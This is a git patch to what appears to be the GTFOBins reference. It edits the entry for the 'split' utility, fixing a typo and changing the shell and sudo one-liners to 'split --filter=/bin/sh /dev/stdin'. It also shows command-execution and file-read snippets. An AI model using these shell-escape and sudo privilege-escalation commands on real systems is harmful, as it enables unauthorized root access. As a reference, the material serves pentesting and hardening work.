From fbe4b4289099da6b9b123852ac6186debcfd6c71 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 20 Dec 2020 21:15:58 +0100 Subject: [PATCH] Improve split --- _gtfobins/split.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/_gtfobins/split.md b/_gtfobins/split.md index c51cd22..297bdb1 100644 --- a/_gtfobins/split.md +++ b/_gtfobins/split.md @@ -7,7 +7,7 @@ functions: split $LFILE $TF cat $TF* command: - - description: Command execution using an existing or new created file. + - description: Command execution using an existing or newly created file. code: | COMMAND=id TF=$(mktemp) @@ -17,9 +17,11 @@ functions: COMMAND=id echo | split --filter=$COMMAND /dev/stdin shell: - - code: | - split --filter=bash /dev/stdin + - description: The shell prompt is not printed. + code: | + split --filter=/bin/sh /dev/stdin sudo: - - code: | - split --filter=bash /dev/stdin + - description: The shell prompt is not printed. + code: | + split --filter=/bin/sh /dev/stdin ---